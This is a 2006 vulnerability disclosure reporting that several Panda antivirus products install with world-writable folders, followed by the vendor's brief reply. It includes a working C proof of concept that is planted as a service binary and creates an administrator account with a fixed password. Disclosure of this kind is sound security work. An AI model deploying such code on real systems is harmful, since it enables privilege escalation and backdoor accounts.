Panda is realy great and realy fast. The Bug was also reported at 16.07.06 to the beta team. -------------------- 16.07.06 -------------------- Hi there, i think there are some badly set filesystem permissions in your software. FileSecure 7.01.10 C:\Programme\Panda Software\AVNT everybody full access Titanium 2006 (5.03.00) C:\Programme\Panda Software\ everybody full access AntiVirus 2007 (2.00.80) C:\Programme\Panda Software\ everybody full access Platinum Internet Security 2006 (10.02.00) C:\Programme\Panda Software\ everybody full access it is possible to place a binary in the directory and let it execute at startup as an service with system privs. example for AntiVirus 2007 (2.00.80): build it an place it in "C:\Programme\Panda Software\Panda Antivirus 2007" for english Windows Version Porgram Files or somethin like this. // --- pavsrv50.c --- #include <windows.h> #include <stdio.h> INT main( VOID ) { CHAR szWinDir[ _MAX_PATH ]; CHAR szCmdLine[ _MAX_PATH ]; GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH ); printf( "Creating user \"owner\" with password \"PandaOWner123\"...\n" ); wsprintf( szCmdLine, "%s\\system32\\net.exe user owner PandaOWner123 /add", szWinDir ); system( szCmdLine ); printf( "Adding user \"owner\" to the local Administrators group...\n" ); wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup Administrators owner /add", szWinDir ); system( szCmdLine ); return 0; } // --- pavsrv50.c --- sorry for my bad english :) testit on german windows xp sp2 all hotfixes and german windows 2k sp4 all hotfixes btw. check the " if you install services -------------------------------------------------- BTW: FileSecure 8.00.20 has the same vulnarability I think the best solution is to change the AV Produkt. Panda answer: ----------------- 21.07.06 ----------------------- Dear beta-tester, Thank you very much for joining our beta program and reporting your tests so far. We comment you that "Panda Antivirus + Firewall 2007" and "Panda Internet Security 2007" have a Shield to protect its processes and files. All incidents and comments received will help us to build a better product. Please, do not doubt to report us any other incident or query that you may have. Best regards, Beta Area Quality Assurance Division mailto:beta@xxxxxxxxxxxxxxxxx Panda Software Protection against viruses, spyware, hackers, spam and other Internet threats Buenos Aires, 12 48001 BILBAO - SPAIN --------------------------------------------------